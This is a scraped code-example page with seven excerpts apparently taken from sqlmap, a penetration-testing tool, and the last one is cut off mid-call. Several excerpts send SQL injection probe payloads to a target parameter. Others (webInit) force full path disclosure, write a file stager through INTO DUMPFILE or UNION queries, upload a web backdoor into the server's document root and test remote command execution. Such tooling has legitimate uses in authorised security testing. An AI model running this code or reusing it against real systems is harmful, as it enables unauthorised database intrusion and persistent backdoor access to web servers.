Exemple #1
0
def heuristicCheckSqlInjection(place, parameter):
    if kb.nullConnection:
        debugMsg = "heuristic checking skipped "
        debugMsg += "because NULL connection used"
        logger.debug(debugMsg)
        return None

    if wasLastRequestDBMSError():
        debugMsg = "heuristic checking skipped "
        debugMsg += "because original page content "
        debugMsg += "contains DBMS error"
        logger.debug(debugMsg)
        return None

    prefix = ""
    suffix = ""

    if conf.prefix or conf.suffix:
        if conf.prefix:
            prefix = conf.prefix

        if conf.suffix:
            suffix = conf.suffix

    payload = "%s%s%s" % (prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
    payload = agent.payload(place, parameter, newValue=payload)
    page, _ = Request.queryPage(payload, place, content=True, raise404=False)

    parseFilePaths(page)

    result = wasLastRequestDBMSError()

    infoMsg = "heuristic test shows that %s " % place
    infoMsg += "parameter '%s' might " % parameter

    kb.heuristicTest = result

    if not result and kb.dynamicParameter:
        _ = conf.paramDict[place][parameter]

        if _.isdigit():
            randInt = int(randomInt())
            payload = "%s%s%s" % (prefix, "%s-%s" % (int(_) + randInt, randInt), suffix)
            payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE)
            result = Request.queryPage(payload, place, raise404=False)

    if result:
        infoMsg += "be injectable (possible DBMS: %s)" % (Format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION)
        logger.info(infoMsg)
    else:
        infoMsg += "not be injectable"
        logger.warn(infoMsg)

    return result
Exemple #2
0
def heuristicCheckSqlInjection(place, parameter):
    if kb.nullConnection:
        debugMsg = "heuristic checking skipped "
        debugMsg += "because NULL connection used"
        logger.debug(debugMsg)
        return None

    if wasLastRequestDBMSError():
        debugMsg = "heuristic checking skipped "
        debugMsg += "because original page content "
        debugMsg += "contains DBMS error"
        logger.debug(debugMsg)
        return None

    prefix = ""
    suffix = ""

    if conf.prefix or conf.suffix:
        if conf.prefix:
            prefix = conf.prefix

        if conf.suffix:
            suffix = conf.suffix

    payload = "%s%s%s" % (
        prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
    payload = agent.payload(place, parameter, newValue=payload)
    page, _ = Request.queryPage(payload, place, content=True, raise404=False)

    parseFilePaths(page)

    result = wasLastRequestDBMSError()

    infoMsg = "heuristic test shows that %s " % place
    infoMsg += "parameter '%s' might " % parameter

    kb.heuristicTest = result

    if result:
        infoMsg += "be injectable (possible DBMS: %s)" % (
            Format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION)
        logger.info(infoMsg)
    else:
        infoMsg += "not be injectable"
        logger.warn(infoMsg)

    return result
Exemple #3
0
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("invalid value, it must be between 1 and %d" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        if not kb.absFilePaths:
            message = "do you want sqlmap to further try to "
            message += "provoke the full path disclosure? [Y/n] "

            if readInput(message, default='Y', boolean=True):
                headers = {}
                been = set([conf.url])

                for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage, re.I):
                    url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
                    if url not in been:
                        try:
                            page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
                            parseFilePaths(page)
                        except:
                            pass
                        finally:
                            been.add(url)

                url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
                if url not in been:
                    try:
                        page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
                        parseFilePaths(page)
                    except:
                        pass
                    finally:
                        been.add(url)

                for place in (PLACE.GET, PLACE.POST):
                    if place in conf.parameters:
                        value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
                        if "[]" in value:
                            page, headers = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
                            parseFilePaths(page)

                cookie = None
                if PLACE.COOKIE in conf.parameters:
                    cookie = conf.parameters[PLACE.COOKIE]
                elif headers and HTTP_HEADER.SET_COOKIE in headers:
                    cookie = headers[HTTP_HEADER.SET_COOKIE]

                if cookie:
                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
                    if value != cookie:
                        page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)

                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
                    if value != cookie:
                        page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(oset(directories))

        path = urlparse.urlparse(conf.url).path or '/'
        if path != '/':
            _ = []
            for directory in directories:
                _.append(directory)
                if not directory.endswith(path):
                    _.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
            directories = _

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))

        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))

        for directory in directories:
            if not directory:
                continue

            stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
            self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
                directory = "/%s" % directory

            if not directory.endswith('/'):
                directory += '/'

            # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
            infoMsg = "trying to upload the file stager on '%s' " % directory
            infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
                debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" in uplPage:
                    uploaded = True
                    break

            # Fall-back to UNION queries file upload method
            if not uploaded:
                warnMsg = "unable to upload the file stager "
                warnMsg += "on '%s'" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = "trying to upload the file stager on '%s' " % directory
                    infoMsg += "via UNION method"
                    logger.info(infoMsg)

                    stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
                    self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

                    handle, filename = tempfile.mkstemp()
                    os.close(handle)

                    with open(filename, "w+b") as f:
                        _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
                        _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
                        f.write(_)

                    self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                        self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)

                        debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or ""

                        if "sqlmap file uploader" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            if "<%" in uplPage or "<?" in uplPage:
                warnMsg = "file stager uploaded on '%s', " % directory
                warnMsg += "but not dynamically interpreted"
                logger.warn(warnMsg)
                continue

            elif self.webApi == WEB_API.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

            infoMsg = "the file stager has been successfully uploaded "
            infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == WEB_API.ASP:
                match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = "tmpe%s.exe" % randomStr(lowercase=True)
                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
                    warnMsg = "backdoor has not been successfully uploaded "
                    warnMsg += "through the file stager possibly because "
                    warnMsg += "the user running the web server process "
                    warnMsg += "has not write privileges over the folder "
                    warnMsg += "where the user running the DBMS process "
                    warnMsg += "was able to upload the file stager or "
                    warnMsg += "because the DBMS and web server sit on "
                    warnMsg += "different servers"
                    logger.warn(warnMsg)

                    message = "do you want to try the same method used "
                    message += "for the file stager? [Y/n] "

                    if readInput(message, default='Y', boolean=True):
                        self._webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)

            testStr = "command execution test"
            output = self.webBackdoorRunCmd("echo %s" % testStr)

            if output == "0":
                warnMsg = "the backdoor has been uploaded but required privileges "
                warnMsg += "for running the system commands are missing"
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = "the backdoor has been successfully "
            else:
                infoMsg = "the backdoor has probably been successfully "

            infoMsg += "uploaded on '%s' - " % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            break
Exemple #4
0
def heuristicCheckSqlInjection(place, parameter):
    if kb.nullConnection:
        debugMsg = "heuristic checking skipped "
        debugMsg += "because NULL connection used"
        logger.debug(debugMsg)
        return None

    if wasLastRequestDBMSError():
        debugMsg = "heuristic checking skipped "
        debugMsg += "because original page content "
        debugMsg += "contains DBMS error"
        logger.debug(debugMsg)
        return None

    origValue = conf.paramDict[place][parameter]

    prefix = ""
    suffix = ""

    if conf.prefix or conf.suffix:
        if conf.prefix:
            prefix = conf.prefix

        if conf.suffix:
            suffix = conf.suffix

    randStr = ""
    while '\'' not in randStr:
        randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET)

    payload = "%s%s%s" % (prefix, randStr, suffix)
    payload = agent.payload(place, parameter, newValue=payload)
    page, _ = Request.queryPage(payload, place, content=True, raise404=False)

    parseFilePaths(page)
    result = wasLastRequestDBMSError()

    infoMsg = "heuristic test shows that %s " % place
    infoMsg += "parameter '%s' might " % parameter

    def _(page):
        return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS)

    casting = _(page) and not _(kb.originalPage)

    if not casting and not result and kb.dynamicParameter and origValue.isdigit():
        randInt = int(randomInt())
        payload = "%s%s%s" % (prefix, "%d-%d" % (int(origValue) + randInt, randInt), suffix)
        payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE)
        result = Request.queryPage(payload, place, raise404=False)

        if not result:
            randStr = randomStr()
            payload = "%s%s%s" % (prefix, "%s%s" % (origValue, randStr), suffix)
            payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE)
            casting = Request.queryPage(payload, place, raise404=False)

    kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE

    if casting:
        errMsg = "possible %s casting " % ("integer" if origValue.isdigit() else "type")
        errMsg += "detected (e.g. %s=(int)$_REQUEST('%s')) " % (parameter, parameter)
        errMsg += "at the back-end web application"
        logger.error(errMsg)

        if kb.ignoreCasted is None:
            message = "do you want to skip those kind of cases (and save scanning time)? %s " % ("[Y/n]" if conf.multipleTargets else "[y/N]")
            kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N').upper() != 'N'

    elif result:
        infoMsg += "be injectable (possible DBMS: %s)" % (Format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION)
        logger.info(infoMsg)

    else:
        infoMsg += "not be injectable"
        logger.warn(infoMsg)

    return kb.heuristicTest
Exemple #5
0
def heuristicCheckSqlInjection(place, parameter):
    if kb.nullConnection:
        debugMsg = "heuristic checking skipped "
        debugMsg += "because NULL connection used"
        logger.debug(debugMsg)
        return None

    if wasLastRequestDBMSError():
        debugMsg = "heuristic checking skipped "
        debugMsg += "because original page content "
        debugMsg += "contains DBMS error"
        logger.debug(debugMsg)
        return None

    origValue = conf.paramDict[place][parameter]

    prefix = ""
    suffix = ""

    if conf.prefix or conf.suffix:
        if conf.prefix:
            prefix = conf.prefix

        if conf.suffix:
            suffix = conf.suffix

    randStr = ""
    while '\'' not in randStr:
        randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET)

    payload = "%s%s%s" % (prefix, randStr, suffix)
    payload = agent.payload(place, parameter, newValue=payload)
    page, _ = Request.queryPage(payload, place, content=True, raise404=False)

    parseFilePaths(page)
    result = wasLastRequestDBMSError()

    infoMsg = "heuristic test shows that %s " % place
    infoMsg += "parameter '%s' might " % parameter

    def _(page):
        return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS)

    casting = _(page) and not _(kb.originalPage)

    if not casting and not result and kb.dynamicParameter and origValue.isdigit(
    ):
        randInt = int(randomInt())
        payload = "%s%s%s" % (prefix, "%d-%d" %
                              (int(origValue) + randInt, randInt), suffix)
        payload = agent.payload(place,
                                parameter,
                                newValue=payload,
                                where=PAYLOAD.WHERE.REPLACE)
        result = Request.queryPage(payload, place, raise404=False)

        if not result:
            randStr = randomStr()
            payload = "%s%s%s" % (prefix, "%s%s" %
                                  (origValue, randStr), suffix)
            payload = agent.payload(place,
                                    parameter,
                                    newValue=payload,
                                    where=PAYLOAD.WHERE.REPLACE)
            casting = Request.queryPage(payload, place, raise404=False)

    kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE

    if casting:
        errMsg = "possible %s casting " % ("integer"
                                           if origValue.isdigit() else "type")
        errMsg += "detected (e.g. %s=(int)$_REQUEST('%s')) " % (parameter,
                                                                parameter)
        errMsg += "at the back-end web application"
        logger.error(errMsg)

        if kb.ignoreCasted is None:
            message = "do you want to skip those kind of cases (and save scanning time)? %s " % (
                "[Y/n]" if conf.multipleTargets else "[y/N]")
            kb.ignoreCasted = readInput(
                message,
                default='Y' if conf.multipleTargets else 'N').upper() != 'N'

    elif result:
        infoMsg += "be injectable (possible DBMS: %s)" % (
            Format.getErrorParsedDBMSes() or UNKNOWN_DBMS_VERSION)
        logger.info(infoMsg)

    else:
        infoMsg += "not be injectable"
        logger.warn(infoMsg)

    return kb.heuristicTest
Exemple #6
0
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("invalid value, it must be between 1 and %d" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        if not kb.absFilePaths:
            message = "do you want sqlmap to further try to "
            message += "provoke the full path disclosure? [Y/n] "

            if readInput(message, default='Y', boolean=True):
                headers = {}
                been = set([conf.url])

                for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
                    url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
                    if url not in been:
                        try:
                            page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
                            parseFilePaths(page)
                        except:
                            pass
                        finally:
                            been.add(url)

                url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
                if url not in been:
                    try:
                        page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
                        parseFilePaths(page)
                    except:
                        pass
                    finally:
                        been.add(url)

                for place in (PLACE.GET, PLACE.POST):
                    if place in conf.parameters:
                        value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
                        if "[]" in value:
                            page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
                            parseFilePaths(page)

                cookie = None
                if PLACE.COOKIE in conf.parameters:
                    cookie = conf.parameters[PLACE.COOKIE]
                elif headers and HTTP_HEADER.SET_COOKIE in headers:
                    cookie = headers[HTTP_HEADER.SET_COOKIE]

                if cookie:
                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)

                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(oset(directories))

        path = urlparse.urlparse(conf.url).path or '/'
        if path != '/':
            _ = []
            for directory in directories:
                _.append(directory)
                if not directory.endswith(path):
                    _.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
            directories = _

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi))

        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))

        for directory in directories:
            if not directory:
                continue

            stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
            self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
                directory = "/%s" % directory

            if not directory.endswith('/'):
                directory += '/'

            # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
            infoMsg = "trying to upload the file stager on '%s' " % directory
            infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
                debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" in uplPage:
                    uploaded = True
                    break

            # Fall-back to UNION queries file upload method
            if not uploaded:
                warnMsg = "unable to upload the file stager "
                warnMsg += "on '%s'" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = "trying to upload the file stager on '%s' " % directory
                    infoMsg += "via UNION method"
                    logger.info(infoMsg)

                    stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
                    self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

                    handle, filename = tempfile.mkstemp()
                    os.close(handle)

                    with open(filename, "w+b") as f:
                        _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
                        _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
                        f.write(_)

                    self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                        self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)

                        debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or ""

                        if "sqlmap file uploader" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            if "<%" in uplPage or "<?" in uplPage:
                warnMsg = "file stager uploaded on '%s', " % directory
                warnMsg += "but not dynamically interpreted"
                logger.warn(warnMsg)
                continue

            elif self.webApi == WEB_API.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

            infoMsg = "the file stager has been successfully uploaded "
            infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == WEB_API.ASP:
                match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = "tmpe%s.exe" % randomStr(lowercase=True)
                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
                    warnMsg = "backdoor has not been successfully uploaded "
                    warnMsg += "through the file stager possibly because "
                    warnMsg += "the user running the web server process "
                    warnMsg += "has not write privileges over the folder "
                    warnMsg += "where the user running the DBMS process "
                    warnMsg += "was able to upload the file stager or "
                    warnMsg += "because the DBMS and web server sit on "
                    warnMsg += "different servers"
                    logger.warn(warnMsg)

                    message = "do you want to try the same method used "
                    message += "for the file stager? [Y/n] "

                    if readInput(message, default='Y', boolean=True):
                        self._webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)

            testStr = "command execution test"
            output = self.webBackdoorRunCmd("echo %s" % testStr)

            if output == "0":
                warnMsg = "the backdoor has been uploaded but required privileges "
                warnMsg += "for running the system commands are missing"
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = "the backdoor has been successfully "
            else:
                infoMsg = "the backdoor has probably been successfully "

            infoMsg += "uploaded on '%s' - " % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            break
Exemple #7
0
    def webInit(self):
        """
        此方法用于在 web 服务器文档根目录中的可写远程目录中写入 web 后门 (代理)。
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = u"Web服务器支持哪种Web应用程序语言?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(),
                                        (" (default)"
                                         if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("无效值,只允许使用数字")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("无效值,它必须介于1和%d之间" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        if not kb.absFilePaths:
            message = "你是否希望sqlmap进一步尝试引发完整的路径泄露? [Y/n] "

            if readInput(message, default='Y', boolean=True):
                headers = {}
                been = set([conf.url])

                for match in re.finditer(
                        r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-",
                        kb.originalPage or "", re.I):
                    url = "%s%s" % (conf.url.replace(
                        conf.path, match.group(4)), "wp-content/wp-db.php")
                    if url not in been:
                        try:
                            page, _, _ = Request.getPage(url=url,
                                                         raise404=False,
                                                         silent=True)
                            parseFilePaths(page)
                        except:
                            pass
                        finally:
                            been.add(url)

                url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
                if url not in been:
                    try:
                        page, _, _ = Request.getPage(url=url,
                                                     raise404=False,
                                                     silent=True)
                        parseFilePaths(page)
                    except:
                        pass
                    finally:
                        been.add(url)

                for place in (PLACE.GET, PLACE.POST):
                    if place in conf.parameters:
                        value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=",
                                       conf.parameters[place])
                        if "[]" in value:
                            page, headers, _ = Request.queryPage(
                                value=value,
                                place=place,
                                content=True,
                                raise404=False,
                                silent=True,
                                noteResponseTime=False)
                            parseFilePaths(page)

                cookie = None
                if PLACE.COOKIE in conf.parameters:
                    cookie = conf.parameters[PLACE.COOKIE]
                elif headers and HTTP_HEADER.SET_COOKIE in headers:
                    cookie = headers[HTTP_HEADER.SET_COOKIE]

                if cookie:
                    value = re.sub(
                        r"(\A|;)(\w+)=[^;]*",
                        "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
                        cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value,
                                                       place=PLACE.COOKIE,
                                                       content=True,
                                                       raise404=False,
                                                       silent=True,
                                                       noteResponseTime=False)
                        parseFilePaths(page)

                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value,
                                                       place=PLACE.COOKIE,
                                                       content=True,
                                                       raise404=False,
                                                       silent=True,
                                                       noteResponseTime=False)
                        parseFilePaths(page)

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(oset(directories))

        path = urlparse.urlparse(conf.url).path or '/'
        if path != '/':
            _ = []
            for directory in directories:
                _.append(directory)
                if not directory.endswith(path):
                    _.append("%s/%s" %
                             (directory.rstrip('/'), path.strip('/')))
            directories = _

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(
            os.path.join(paths.SQLMAP_SHELL_PATH,
                         "backdoor.%s_" % self.webApi))

        stagerContent = decloak(
            os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))

        for directory in directories:
            if not directory:
                continue

            stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
            self.webStagerFilePath = posixpath.join(
                ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(
                    directory) and not directory.startswith('/'):
                directory = "/%s" % directory

            if not directory.endswith('/'):
                directory += '/'

            # 使用LIMIT 0,1 INTO DUMPFILE方法上传文件
            infoMsg = u"尝试通过LIMIT'LINES TERMINATED BY'方法上传'%s'上的文件" % directory
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = "%s://%s:%d%s/" % (
                    conf.scheme, conf.hostname, conf.port,
                    directory[match.start():].rstrip('/'))
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl,
